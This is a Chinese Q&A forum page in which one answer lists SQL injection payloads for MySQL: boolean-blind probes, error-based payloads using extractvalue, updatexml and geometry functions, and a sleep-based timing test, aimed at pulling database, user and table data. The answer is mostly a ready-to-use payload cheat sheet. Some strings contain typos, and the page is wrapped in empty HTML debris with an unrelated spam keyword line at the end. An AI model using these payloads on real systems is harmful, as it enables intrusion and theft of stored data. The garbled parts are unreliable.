<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    注入和繞過常用的函數

    注入和繞過常用的函數?


    發現錯別字 2年前 提問
    回答
    1
    瀏覽
    182
    請勿發布不友善或者負能量的內容。與人為善,比聰明更重要!
    回答數量: 1
    上官雨寶
    CISM-WSE 中級信息安全等級測評師

    1)基于布爾SQL盲注

    left(database(),1)>'s'

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

    ascii(substr((select database()),1,1))=98

    ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

    regexp正則注入 select user() regexp '^[a-z]';

    select user() like 'ro%'

    2)基于報錯的SQL盲注

    1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】

    2)通過floor報錯 向下取整

    3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

    4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

    6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

    7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10).exp()select * from test where id=1 and exp(~(select * from(select user())a));

    3)延時注入如何來判斷?

    if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

    回答所涉及的環境:聯想天逸510S、Windows 10。

    2年前 / 評論
    亚洲 欧美 自拍 唯美 另类